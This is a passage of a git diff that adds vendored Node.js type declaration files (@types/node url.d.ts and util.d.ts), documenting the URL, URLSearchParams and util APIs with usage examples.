valid: + * + * ```js + * myURL.port = 4.567e21; + * console.log(myURL.port); + * // Prints 4 (because it is the leading number in the string '4.567e21') + * ``` + */ + port: string; + /** + * Gets and sets the protocol portion of the URL. + * + * ```js + * const myURL = new URL('https://example.org'); + * console.log(myURL.protocol); + * // Prints https: + * + * myURL.protocol = 'ftp'; + * console.log(myURL.href); + * // Prints ftp://example.org/ + * ``` + * + * Invalid URL protocol values assigned to the `protocol` property are ignored. + */ + protocol: string; + /** + * Gets and sets the serialized query portion of the URL. + * + * ```js + * const myURL = new URL('https://example.org/abc?123'); + * console.log(myURL.search); + * // Prints ?123 + * + * myURL.search = 'abc=xyz'; + * console.log(myURL.href); + * // Prints https://example.org/abc?abc=xyz + * ``` + * + * Any invalid URL characters appearing in the value assigned the `search` property will be `percent-encoded`. The selection of which + * characters to percent-encode may vary somewhat from what the {@link parse} and {@link format} methods would produce. + */ + search: string; + /** + * Gets the `URLSearchParams` object representing the query parameters of the + * URL. This property is read-only but the `URLSearchParams` object it provides + * can be used to mutate the URL instance; to replace the entirety of query + * parameters of the URL, use the {@link search} setter. See `URLSearchParams` documentation for details. + * + * Use care when using `.searchParams` to modify the `URL` because, + * per the WHATWG specification, the `URLSearchParams` object uses + * different rules to determine which characters to percent-encode. For + * instance, the `URL` object will not percent encode the ASCII tilde (`~`) + * character, while `URLSearchParams` will always encode it: + * + * ```js + * const myURL = new URL('https://example.org/abc?foo=~bar'); + * + * console.log(myURL.search); // prints ?foo=~bar + * + * // Modify the URL via searchParams... + * myURL.searchParams.sort(); + * + * console.log(myURL.search); // prints ?foo=%7Ebar + * ``` + */ + readonly searchParams: URLSearchParams; + /** + * Gets and sets the username portion of the URL. + * + * ```js + * const myURL = new URL('https://abc:xyz@example.com'); + * console.log(myURL.username); + * // Prints abc + * + * myURL.username = '123'; + * console.log(myURL.href); + * // Prints https://123:xyz@example.com/ + * ``` + * + * Any invalid URL characters appearing in the value assigned the `username` property will be `percent-encoded`. The selection of which + * characters to percent-encode may vary somewhat from what the {@link parse} and {@link format} methods would produce. + */ + username: string; + /** + * The `toString()` method on the `URL` object returns the serialized URL. The + * value returned is equivalent to that of {@link href} and {@link toJSON}. + */ + toString(): string; + /** + * The `toJSON()` method on the `URL` object returns the serialized URL. The + * value returned is equivalent to that of {@link href} and {@link toString}. + * + * This method is automatically called when an `URL` object is serialized + * with [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify). + * + * ```js + * const myURLs = [ + * new URL('https://www.example.com'), + * new URL('https://test.example.org'), + * ]; + * console.log(JSON.stringify(myURLs)); + * // Prints ["https://www.example.com/","https://test.example.org/"] + * ``` + */ + toJSON(): string; + } + /** + * The `URLSearchParams` API provides read and write access to the query of a `URL`. The `URLSearchParams` class can also be used standalone with one of the + * four following constructors. + * The `URLSearchParams` class is also available on the global object. + * + * The WHATWG `URLSearchParams` interface and the `querystring` module have + * similar purpose, but the purpose of the `querystring` module is more + * general, as it allows the customization of delimiter characters (`&` and `=`). + * On the other hand, this API is designed purely for URL query strings. + * + * ```js + * const myURL = new URL('https://example.org/?abc=123'); + * console.log(myURL.searchParams.get('abc')); + * // Prints 123 + * + * myURL.searchParams.append('abc', 'xyz'); + * console.log(myURL.href); + * // Prints https://example.org/?abc=123&abc=xyz + * + * myURL.searchParams.delete('abc'); + * myURL.searchParams.set('a', 'b'); + * console.log(myURL.href); + * // Prints https://example.org/?a=b + * + * const newSearchParams = new URLSearchParams(myURL.searchParams); + * // The above is equivalent to + * // const newSearchParams = new URLSearchParams(myURL.search); + * + * newSearchParams.append('a', 'c'); + * console.log(myURL.href); + * // Prints https://example.org/?a=b + * console.log(newSearchParams.toString()); + * // Prints a=b&a=c + * + * // newSearchParams.toString() is implicitly called + * myURL.search = newSearchParams; + * console.log(myURL.href); + * // Prints https://example.org/?a=b&a=c + * newSearchParams.delete('a'); + * console.log(myURL.href); + * // Prints https://example.org/?a=b&a=c + * ``` + * @since v7.5.0, v6.13.0 + */ + class URLSearchParams implements Iterable<[string, string]> { + constructor( + init?: + | URLSearchParams + | string + | Record + | Iterable<[string, string]> + | ReadonlyArray<[string, string]>, + ); + /** + * Append a new name-value pair to the query string. + */ + append(name: string, value: string): void; + /** + * If `value` is provided, removes all name-value pairs + * where name is `name` and value is `value`. + * + * If `value` is not provided, removes all name-value pairs whose name is `name`. + */ + delete(name: string, value?: string): void; + /** + * Returns an ES6 `Iterator` over each of the name-value pairs in the query. + * Each item of the iterator is a JavaScript `Array`. The first item of the `Array` is the `name`, the second item of the `Array` is the `value`. + * + * Alias for `urlSearchParams[@@iterator]()`. + */ + entries(): IterableIterator<[string, string]>; + /** + * Iterates over each name-value pair in the query and invokes the given function. + * + * ```js + * const myURL = new URL('https://example.org/?a=b&c=d'); + * myURL.searchParams.forEach((value, name, searchParams) => { + * console.log(name, value, myURL.searchParams === searchParams); + * }); + * // Prints: + * // a b true + * // c d true + * ``` + * @param fn Invoked for each name-value pair in the query + * @param thisArg To be used as `this` value for when `fn` is called + */ + forEach( + fn: (this: TThis, value: string, name: string, searchParams: URLSearchParams) => void, + thisArg?: TThis, + ): void; + /** + * Returns the value of the first name-value pair whose name is `name`. If there + * are no such pairs, `null` is returned. + * @return or `null` if there is no name-value pair with the given `name`. + */ + get(name: string): string | null; + /** + * Returns the values of all name-value pairs whose name is `name`. If there are + * no such pairs, an empty array is returned. + */ + getAll(name: string): string[]; + /** + * Checks if the `URLSearchParams` object contains key-value pair(s) based on `name` and an optional `value` argument. + * + * If `value` is provided, returns `true` when name-value pair with + * same `name` and `value` exists. + * + * If `value` is not provided, returns `true` if there is at least one name-value + * pair whose name is `name`. + */ + has(name: string, value?: string): boolean; + /** + * Returns an ES6 `Iterator` over the names of each name-value pair. + * + * ```js + * const params = new URLSearchParams('foo=bar&foo=baz'); + * for (const name of params.keys()) { + * console.log(name); + * } + * // Prints: + * // foo + * // foo + * ``` + */ + keys(): IterableIterator; + /** + * Sets the value in the `URLSearchParams` object associated with `name` to `value`. If there are any pre-existing name-value pairs whose names are `name`, + * set the first such pair's value to `value` and remove all others. If not, + * append the name-value pair to the query string. + * + * ```js + * const params = new URLSearchParams(); + * params.append('foo', 'bar'); + * params.append('foo', 'baz'); + * params.append('abc', 'def'); + * console.log(params.toString()); + * // Prints foo=bar&foo=baz&abc=def + * + * params.set('foo', 'def'); + * params.set('xyz', 'opq'); + * console.log(params.toString()); + * // Prints foo=def&abc=def&xyz=opq + * ``` + */ + set(name: string, value: string): void; + /** + * The total number of parameter entries. + * @since v19.8.0 + */ + readonly size: number; + /** + * Sort all existing name-value pairs in-place by their names. Sorting is done + * with a [stable sorting algorithm](https://en.wikipedia.org/wiki/Sorting_algorithm#Stability), so relative order between name-value pairs + * with the same name is preserved. + * + * This method can be used, in particular, to increase cache hits. + * + * ```js + * const params = new URLSearchParams('query[]=abc&type=search&query[]=123'); + * params.sort(); + * console.log(params.toString()); + * // Prints query%5B%5D=abc&query%5B%5D=123&type=search + * ``` + * @since v7.7.0, v6.13.0 + */ + sort(): void; + /** + * Returns the search parameters serialized as a string, with characters + * percent-encoded where necessary. + */ + toString(): string; + /** + * Returns an ES6 `Iterator` over the values of each name-value pair. + */ + values(): IterableIterator; + [Symbol.iterator](): IterableIterator<[string, string]>; + } + import { URL as _URL, URLSearchParams as _URLSearchParams } from "url"; + global { + interface URLSearchParams extends _URLSearchParams {} + interface URL extends _URL {} + interface Global { + URL: typeof _URL; + URLSearchParams: typeof _URLSearchParams; + } + /** + * `URL` class is a global reference for `import { URL } from 'url'` + * https://nodejs.org/api/url.html#the-whatwg-url-api + * @since v10.0.0 + */ + var URL: typeof globalThis extends { + onmessage: any; + URL: infer T; + } ? T + : typeof _URL; + /** + * `URLSearchParams` class is a global reference for `import { URLSearchParams } from 'node:url'` + * https://nodejs.org/api/url.html#class-urlsearchparams + * @since v10.0.0 + */ + var URLSearchParams: typeof globalThis extends { + onmessage: any; + URLSearchParams: infer T; + } ? T + : typeof _URLSearchParams; + } +} +declare module "node:url" { + export * from "url"; +} diff --git a/node_modules/@types/node/util.d.ts b/node_modules/@types/node/util.d.ts new file mode 100644 index 000000000000..ae2607885d7f --- /dev/null +++ b/node_modules/@types/node/util.d.ts @@ -0,0 +1,2301 @@ +/** + * The `node:util` module supports the needs of Node.js internal APIs. Many of the + * utilities are useful for application and module developers as well. To access + * it: + * + * ```js + * import util from 'node:util'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/util.js) + */ +declare module "util" { + import * as types from "node:util/types"; + export interface InspectOptions { + /** + * If `true`, object's non-enumerable symbols and properties are included in the formatted result. + * `WeakMap` and `WeakSet` entries are also included as well as user defined prototype properties (excluding method properties). + * @default false + */ + showHidden?: boolean | undefined; + /** + * Specifies the number of times to recurse while formatting object. + * This is useful for inspecting large objects. + * To recurse up to the maximum call stack size pass `Infinity` or `null`. + * @default 2 + */ + depth?: number | null | undefined; + /** + * If `true`, the output is styled with ANSI color codes. Colors are customizable. + */ + colors?: boolean | undefined; + /** + * If `false`, `[util.inspect.custom](depth, opts, inspect)` functions are not invoked. + * @default true + */ + customInspect?: boolean | undefined; + /** + * If `true`, `Proxy` inspection includes the target and handler objects. + * @default false + */ + showProxy?: boolean | undefined; + /** + * Specifies the maximum number of `Array`, `TypedArray`, `WeakMap`, and `WeakSet` elements + * to include when formatting. Set to `null` or `Infinity` to show all elements. + * Set to `0` or negative to show no elements. + * @default 100 + */ + maxArrayLength?: number | null | undefined; + /** + * Specifies the maximum number of characters to + * include when formatting. Set to `null` or `Infinity` to show all elements. + * Set to `0` or negative to show no characters. + * @default 10000 + */ + maxStringLength?: number | null | undefined; + /** + * The length at which input values are split across multiple lines. + * Set to `Infinity` to format the input as a single line + * (in combination with `compact` set to `true` or any number >= `1`). + * @default 80 + */ + breakLength?: number | undefined; + /** + * Setting this to `false` causes each object key + * to be displayed on a new line. It will also add new lines to text that is + * longer than `breakLength`. If set to a number, the most `n` inner elements + * are united on a single line as long as all properties fit into + * `breakLength`. Short array elements are also grouped together. Note that no + * text will be reduced below 16 characters, no matter the `breakLength` size. + * For more information, see the example below. + * @default true + */ + compact?: boolean | number | undefined; + /** + * If set to `true` or a function, all properties of an object, and `Set` and `Map` + * entries are sorted in the resulting string. + * If set to `true` the default sort is used. + * If set to a function, it is used as a compare function. + */ + sorted?: boolean | ((a: string, b: string) => number) | undefined; + /** + * If set to `true`, getters are going to be + * inspected as well. If set to `'get'` only getters without setter are going + * to be inspected. If set to `'set'` only getters having a corresponding + * setter are going to be inspected. This might cause side effects depending on + * the getter function. + * @default false + */ + getters?: "get" | "set" | boolean | undefined; + /** + * If set to `true`, an underscore is used to separate every three digits in all bigints and numbers. + * @default false + */ + numericSeparator?: boolean | undefined; + } + export type Style = + | "special" + | "number" + | "bigint" + | "boolean" + | "undefined" + | "null" + | "string" + | "symbol" + | "date" + | "regexp" + | "module"; + export type CustomInspectFunction = (depth: number, options: InspectOptionsStylized) => any; // TODO: , inspect: inspect + export interface InspectOptionsStylized extends InspectOptions { + stylize(text: string, styleType: Style): string; + } + /** + * The `util.format()` method returns a formatted string using the first argument + * as a `printf`-like format string which can contain zero or more format + * specifiers. Each specifier is replaced with the converted value from the + * corresponding argument. Supported specifiers are: + * + * If a specifier does not have a corresponding argument, it is not replaced: + * + * ```js + * util.format('%s:%s', 'foo'); + * // Returns: 'foo:%s' + * ``` + * + * Values that are not part of the format string are formatted using `util.inspect()` if their type is not `string`. + * + * If there are more arguments passed to the `util.format()` method than the + * number of specifiers, the extra arguments are concatenated to the returned + * string, separated by spaces: + * + * ```js + * util.format('%s:%s', 'foo', 'bar', 'baz'); + * // Returns: 'foo:bar baz' + * ``` + * + * If the first argument does not contain a valid format specifier, `util.format()` returns a string that is the concatenation of all arguments separated by spaces: + * + * ```js + * util.format(1, 2, 3); + * // Returns: '1 2 3' + * ``` + * + * If only one argument is passed to `util.format()`, it is returned as it is + * without any formatting: + * + * ```js + * util.format('%% %s'); + * // Returns: '%% %s' + * ``` + * + * `util.format()` is a synchronous method that is intended as a debugging tool. + * Some input values can have a significant performance overhead that can block the + * event loop. Use this function with care and never in a hot code path. + * @since v0.5.3 + * @param format A `printf`-like format string. + */ + export function format(format?: any, ...param: any[]): string; + /** + * This function is identical to {@link format}, except in that it takes + * an `inspectOptions` argument which specifies options that are passed along to {@link inspect}. + * + * ```js + * util.formatWithOptions({ colors: true }, 'See object %O', { foo: 42 }); + * // Returns 'See object { foo: 42 }', where `42` is colored as a number + * // when printed to a terminal. + * ``` + * @since v10.0.0 + */ + export function formatWithOptions(inspectOptions: InspectOptions, format?: any, ...param: any[]): string; + /** + * Returns the string name for a numeric error code that comes from a Node.js API. + * The mapping between error codes and error names is platform-dependent. + * See `Common System Errors` for the names of common errors. + * + * ```js + * fs.access('file/that/does/not/exist', (err) => { + * const name = util.getSystemErrorName(err.errno); + * console.error(name); // ENOENT + * }); + * ``` + * @since v9.7.0 + */ + export function getSystemErrorName(err: number): string; + /** + * Returns a Map of all system error codes available from the Node.js API. + * The mapping between error codes and error names is platform-dependent. + * See `Common System Errors` for the names of common errors. + * + * ```js + * fs.access('file/that/does/not/exist', (err) => { + * const errorMap = util.getSystemErrorMap(); + * const name = errorMap.get(err.errno); + * console.error(name); // ENOENT + * }); + * ``` + * @since v16.0.0, v14.17.0 + */ + export function getSystemErrorMap(): Map; + /** + * The `util.log()` method prints the given `string` to `stdout` with an included + * timestamp. + * + * ```js + * import util from 'node:util'; + * + * util.log('Timestamped message.'); + * ``` + * @since v0.3.0 + * @deprecated Since v6.0.0 - Use a third party module instead. + */ + export function log(string: string): void; + /** + * Returns the `string` after replacing any surrogate code points + * (or equivalently, any unpaired surrogate code units) with the + * Unicode "replacement character" U+FFFD. + * @since v16.8.0, v14.18.0 + */ + export function toUSVString(string: string): string; + /** + * Creates and returns an `AbortController` instance whose `AbortSignal` is marked + * as transferable and can be used with `structuredClone()` or `postMessage()`. + * @since v18.11.0 + * @experimental + * @returns A transferable AbortController + */ + export function transferableAbortController(): AbortController; + /** + * Marks the given `AbortSignal` as transferable so that it can be used with`structuredClone()` and `postMessage()`. + * + * ```js + * const signal = transferableAbortSignal(AbortSignal.timeout(100)); + * const channel = new MessageChannel(); + * channel.port2.postMessage(signal, [signal]); + * ``` + * @since v18.11.0 + * @experimental + * @param signal The AbortSignal + * @returns The same AbortSignal + */ + export function transferableAbortSignal(signal: AbortSignal): AbortSignal; + /** + * Listens to abort event on the provided `signal` and + * returns a promise that is fulfilled when the `signal` is + * aborted. If the passed `resource` is garbage collected before the `signal` is + * aborted, the returned promise shall remain pending indefinitely. + * + * ```js + * import { aborted } from 'node:util'; + * + * const dependent = obtainSomethingAbortable(); + * + * aborted(dependent.signal, dependent).then(() => { + * // Do something when dependent is aborted. + * }); + * + * dependent.on('event', () => { + * dependent.abort(); + * }); + * ``` + * @since v19.7.0 + * @experimental + * @param resource Any non-null entity, reference to which is held weakly. + */ + export function aborted(signal: AbortSignal, resource: any): Promise; + /** + * The `util.inspect()` method returns a string representation of `object` that is + * intended for debugging. The output of `util.inspect` may change at any time + * and should not be depended upon programmatically. Additional `options` may be + * passed that alter the result. `util.inspect()` will use the constructor's name and/or `@@toStringTag` to make + * an identifiable tag for an inspected value. + * + * ```js + * class Foo { + * get [Symbol.toStringTag]() { + * return 'bar'; + * } + * } + * + * class Bar {} + * + * const baz = Object.create(null, { [Symbol.toStringTag]: { value: 'foo' } }); + * + * util.inspect(new Foo()); // 'Foo [bar] {}' + * util.inspect(new Bar()); // 'Bar {}' + * util.inspect(baz); // '[foo] {}' + * ``` + * + * Circular references point to their anchor by using a reference index: + * + * ```js + * import { inspect } from 'node:util'; + * + * const obj = {}; + * obj.a = [obj]; + * obj.b = {}; + * obj.b.inner = obj.b; + * obj.b.obj = obj; + * + * console.log(inspect(obj)); + * // { + * // a: [ [Circular *1] ], + * // b: { inner: [Circular *2], obj: [Circular *1] } + * // } + * ``` + * + * The following example inspects all properties of the `util` object: + * + * ```js + * import util from 'node:util'; + * + * console.log(util.inspect(util, { showHidden: true, depth: null })); + * ``` + * + * The following example highlights the effect of the `compact` option: + * + * ```js + * import util from 'node:util'; + * + * const o = { + * a: [1, 2, [[ + * 'Lorem ipsum dolor sit amet,\nconsectetur adipiscing elit, sed do ' + + * 'eiusmod \ntempor incididunt ut labore et dolore magna aliqua.', + * 'test', + * 'foo']], 4], + * b: new Map([['za', 1], ['zb', 'test']]), + * }; + * console.log(util.inspect(o, { compact: true, depth: 5, breakLength: 80 })); + * + * // { a: + * // [ 1, + * // 2, + * // [ [ 'Lorem ipsum dolor sit amet,\nconsectetur [...]', // A long line + * // 'test', + * // 'foo' ] ], + * // 4 ], + * // b: Map(2) { 'za' => 1, 'zb' => 'test' } } + * + * // Setting `compact` to false or an integer creates more reader friendly output. + * console.log(util.inspect(o, { compact: false, depth: 5, breakLength: 80 })); + * + * // { + * // a: [ + * // 1, + * // 2, + * // [ + * // [ + * // 'Lorem ipsum dolor sit amet,\n' + + * // 'consectetur adipiscing elit, sed do eiusmod \n' + + * // 'tempor incididunt ut labore et dolore magna aliqua.', + * // 'test', + * // 'foo' + * // ] + * // ], + * // 4 + * // ], + * // b: Map(2) { + * // 'za' => 1, + * // 'zb' => 'test' + * // } + * // } + * + * // Setting `breakLength` to e.g. 150 will print the "Lorem ipsum" text in a + * // single line. + * ``` + * + * The `showHidden` option allows [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) and + * [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) entries to be + * inspected. If there are more entries than `maxArrayLength`, there is no + * guarantee which entries are displayed. That means retrieving the same [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) entries twice may + * result in different output. Furthermore, entries + * with no remaining strong references may be garbage collected at any time. + * + * ```js + * import { inspect } from 'node:util'; + * + * const obj = { a: 1 }; + * const obj2 = { b: 2 }; + * const weakSet = new WeakSet([obj, obj2]); + * + * console.log(inspect(weakSet, { showHidden: true })); + * // WeakSet { { a: 1 }, { b: 2 } } + * ``` + * + * The `sorted` option ensures that an object's property insertion order does not + * impact the result of `util.inspect()`. + * + * ```js + * import { inspect } from 'node:util'; + * import assert from 'node:assert'; + * + * const o1 = { + * b: [2, 3, 1], + * a: '`a` comes before `b`', + * c: new Set([2, 3, 1]), + * }; + * console.log(inspect(o1, { sorted: true })); + * // { a: '`a` comes before `b`', b: [ 2, 3, 1 ], c: Set(3) { 1, 2, 3 } } + * console.log(inspect(o1, { sorted: (a, b) => b.localeCompare(a) })); + * // { c: Set(3) { 3, 2, 1 }, b: [ 2, 3, 1 ], a: '`a` comes before `b`' } + * + * const o2 = { + * c: new Set([2, 1, 3]), + * a: '`a` comes before `b`', + * b: [2, 3, 1], + * }; + * assert.strict.equal( + * inspect(o1, { sorted: true }), + * inspect(o2, { sorted: true }), + * ); + * ``` + * + * The `numericSeparator` option adds an underscore every three digits to all + * numbers. + * + * ```js + * import { inspect } from 'node:util'; + * + * const thousand = 1_000; + * const million = 1_000_000; + * const bigNumber = 123_456_789n; + * const bigDecimal = 1_234.123_45; + * + * console.log(inspect(thousand, { numericSeparator: true })); + * // 1_000 + * console.log(inspect(million, { numericSeparator: true })); + * // 1_000_000 + * console.log(inspect(bigNumber, { numericSeparator: true })); + * // 123_456_789n + * console.log(inspect(bigDecimal, { numericSeparator: true })); + * // 1_234.123_45 + * ``` + * + * `util.inspect()` is a synchronous method intended for debugging. Its maximum + * output length is approximately 128 MiB. Inputs that result in longer output will + * be truncated. + * @since v0.3.0 + * @param object Any JavaScript primitive or `Object`. + * @return The representation of `object`. + */ + export function inspect(object: any, showHidden?: boolean, depth?: number | null, color?: boolean): string; + export function inspect(object: any, options?: InspectOptions): string; + export namespace inspect { + let colors: NodeJS.Dict<[number, number]>; + let styles: { + [K in Style]: string; + }; + let defaultOptions: InspectOptions; + /** + * Allows changing inspect settings from the repl. + */ + let replDefaults: InspectOptions; + /** + * That can be used to declare custom inspect functions. + */ + const custom: unique symbol; + } + /** + * Alias for [`Array.isArray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray). + * + * Returns `true` if the given `object` is an `Array`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isArray([]); + * // Returns: true + * util.isArray(new Array()); + * // Returns: true + * util.isArray({}); + * // Returns: false + * ``` + * @since v0.6.0 + * @deprecated Since v4.0.0 - Use `isArray` instead. + */ + export function isArray(object: unknown): object is unknown[]; + /** + * Returns `true` if the given `object` is a `RegExp`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isRegExp(/some regexp/); + * // Returns: true + * util.isRegExp(new RegExp('another regexp')); + * // Returns: true + * util.isRegExp({}); + * // Returns: false + * ``` + * @since v0.6.0 + * @deprecated Since v4.0.0 - Deprecated + */ + export function isRegExp(object: unknown): object is RegExp; + /** + * Returns `true` if the given `object` is a `Date`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isDate(new Date()); + * // Returns: true + * util.isDate(Date()); + * // false (without 'new' returns a String) + * util.isDate({}); + * // Returns: false + * ``` + * @since v0.6.0 + * @deprecated Since v4.0.0 - Use {@link types.isDate} instead. + */ + export function isDate(object: unknown): object is Date; + /** + * Returns `true` if the given `object` is an `Error`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isError(new Error()); + * // Returns: true + * util.isError(new TypeError()); + * // Returns: true + * util.isError({ name: 'Error', message: 'an error occurred' }); + * // Returns: false + * ``` + * + * This method relies on `Object.prototype.toString()` behavior. It is + * possible to obtain an incorrect result when the `object` argument manipulates `@@toStringTag`. + * + * ```js + * import util from 'node:util'; + * const obj = { name: 'Error', message: 'an error occurred' }; + * + * util.isError(obj); + * // Returns: false + * obj[Symbol.toStringTag] = 'Error'; + * util.isError(obj); + * // Returns: true + * ``` + * @since v0.6.0 + * @deprecated Since v4.0.0 - Use {@link types.isNativeError} instead. + */ + export function isError(object: unknown): object is Error; + /** + * Usage of `util.inherits()` is discouraged. Please use the ES6 `class` and `extends` keywords to get language level inheritance support. Also note + * that the two styles are [semantically incompatible](https://github.com/nodejs/node/issues/4179). + * + * Inherit the prototype methods from one [constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor) into another. The + * prototype of `constructor` will be set to a new object created from `superConstructor`. + * + * This mainly adds some input validation on top of`Object.setPrototypeOf(constructor.prototype, superConstructor.prototype)`. + * As an additional convenience, `superConstructor` will be accessible + * through the `constructor.super_` property. + * + * ```js + * import util from 'node:util'; + * import EventEmitter from 'node:events'; + * + * function MyStream() { + * EventEmitter.call(this); + * } + * + * util.inherits(MyStream, EventEmitter); + * + * MyStream.prototype.write = function(data) { + * this.emit('data', data); + * }; + * + * const stream = new MyStream(); + * + * console.log(stream instanceof EventEmitter); // true + * console.log(MyStream.super_ === EventEmitter); // true + * + * stream.on('data', (data) => { + * console.log(`Received data: "${data}"`); + * }); + * stream.write('It works!'); // Received data: "It works!" + * ``` + * + * ES6 example using `class` and `extends`: + * + * ```js + * import EventEmitter from 'node:events'; + * + * class MyStream extends EventEmitter { + * write(data) { + * this.emit('data', data); + * } + * } + * + * const stream = new MyStream(); + * + * stream.on('data', (data) => { + * console.log(`Received data: "${data}"`); + * }); + * stream.write('With ES6'); + * ``` + * @since v0.3.0 + * @legacy Use ES2015 class syntax and `extends` keyword instead. + */ + export function inherits(constructor: unknown, superConstructor: unknown): void; + export type DebugLoggerFunction = (msg: string, ...param: unknown[]) => void; + export interface DebugLogger extends DebugLoggerFunction { + enabled: boolean; + } + /** + * The `util.debuglog()` method is used to create a function that conditionally + * writes debug messages to `stderr` based on the existence of the `NODE_DEBUG`environment variable. If the `section` name appears within the value of that + * environment variable, then the returned function operates similar to `console.error()`. If not, then the returned function is a no-op. + * + * ```js + * import util from 'node:util'; + * const debuglog = util.debuglog('foo'); + * + * debuglog('hello from foo [%d]', 123); + * ``` + * + * If this program is run with `NODE_DEBUG=foo` in the environment, then + * it will output something like: + * + * ```console + * FOO 3245: hello from foo [123] + * ``` + * + * where `3245` is the process id. If it is not run with that + * environment variable set, then it will not print anything. + * + * The `section` supports wildcard also: + * + * ```js + * import util from 'node:util'; + * const debuglog = util.debuglog('foo-bar'); + * + * debuglog('hi there, it\'s foo-bar [%d]', 2333); + * ``` + * + * if it is run with `NODE_DEBUG=foo*` in the environment, then it will output + * something like: + * + * ```console + * FOO-BAR 3257: hi there, it's foo-bar [2333] + * ``` + * + * Multiple comma-separated `section` names may be specified in the `NODE_DEBUG`environment variable: `NODE_DEBUG=fs,net,tls`. + * + * The optional `callback` argument can be used to replace the logging function + * with a different function that doesn't have any initialization or + * unnecessary wrapping. + * + * ```js + * import util from 'node:util'; + * let debuglog = util.debuglog('internals', (debug) => { + * // Replace with a logging function that optimizes out + * // testing if the section is enabled + * debuglog = debug; + * }); + * ``` + * @since v0.11.3 + * @param section A string identifying the portion of the application for which the `debuglog` function is being created. + * @param callback A callback invoked the first time the logging function is called with a function argument that is a more optimized logging function. + * @return The logging function + */ + export function debuglog(section: string, callback?: (fn: DebugLoggerFunction) => void): DebugLogger; + export const debug: typeof debuglog; + /** + * Returns `true` if the given `object` is a `Boolean`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isBoolean(1); + * // Returns: false + * util.isBoolean(0); + * // Returns: false + * util.isBoolean(false); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `typeof value === 'boolean'` instead. + */ + export function isBoolean(object: unknown): object is boolean; + /** + * Returns `true` if the given `object` is a `Buffer`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isBuffer({ length: 0 }); + * // Returns: false + * util.isBuffer([]); + * // Returns: false + * util.isBuffer(Buffer.from('hello world')); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `isBuffer` instead. + */ + export function isBuffer(object: unknown): object is Buffer; + /** + * Returns `true` if the given `object` is a `Function`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * function Foo() {} + * const Bar = () => {}; + * + * util.isFunction({}); + * // Returns: false + * util.isFunction(Foo); + * // Returns: true + * util.isFunction(Bar); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `typeof value === 'function'` instead. + */ + export function isFunction(object: unknown): boolean; + /** + * Returns `true` if the given `object` is strictly `null`. Otherwise, returns`false`. + * + * ```js + * import util from 'node:util'; + * + * util.isNull(0); + * // Returns: false + * util.isNull(undefined); + * // Returns: false + * util.isNull(null); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `value === null` instead. + */ + export function isNull(object: unknown): object is null; + /** + * Returns `true` if the given `object` is `null` or `undefined`. Otherwise, + * returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isNullOrUndefined(0); + * // Returns: false + * util.isNullOrUndefined(undefined); + * // Returns: true + * util.isNullOrUndefined(null); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `value === undefined || value === null` instead. + */ + export function isNullOrUndefined(object: unknown): object is null | undefined; + /** + * Returns `true` if the given `object` is a `Number`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isNumber(false); + * // Returns: false + * util.isNumber(Infinity); + * // Returns: true + * util.isNumber(0); + * // Returns: true + * util.isNumber(NaN); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `typeof value === 'number'` instead. + */ + export function isNumber(object: unknown): object is number; + /** + * Returns `true` if the given `object` is strictly an `Object`**and** not a`Function` (even though functions are objects in JavaScript). + * Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isObject(5); + * // Returns: false + * util.isObject(null); + * // Returns: false + * util.isObject({}); + * // Returns: true + * util.isObject(() => {}); + * // Returns: false + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `value !== null && typeof value === 'object'` instead. + */ + export function isObject(object: unknown): boolean; + /** + * Returns `true` if the given `object` is a primitive type. Otherwise, returns`false`. + * + * ```js + * import util from 'node:util'; + * + * util.isPrimitive(5); + * // Returns: true + * util.isPrimitive('foo'); + * // Returns: true + * util.isPrimitive(false); + * // Returns: true + * util.isPrimitive(null); + * // Returns: true + * util.isPrimitive(undefined); + * // Returns: true + * util.isPrimitive({}); + * // Returns: false + * util.isPrimitive(() => {}); + * // Returns: false + * util.isPrimitive(/^$/); + * // Returns: false + * util.isPrimitive(new Date()); + * // Returns: false + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `(typeof value !== 'object' && typeof value !== 'function') || value === null` instead. + */ + export function isPrimitive(object: unknown): boolean; + /** + * Returns `true` if the given `object` is a `string`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isString(''); + * // Returns: true + * util.isString('foo'); + * // Returns: true + * util.isString(String('foo')); + * // Returns: true + * util.isString(5); + * // Returns: false + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `typeof value === 'string'` instead. + */ + export function isString(object: unknown): object is string; + /** + * Returns `true` if the given `object` is a `Symbol`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * util.isSymbol(5); + * // Returns: false + * util.isSymbol('foo'); + * // Returns: false + * util.isSymbol(Symbol('foo')); + * // Returns: true + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `typeof value === 'symbol'` instead. + */ + 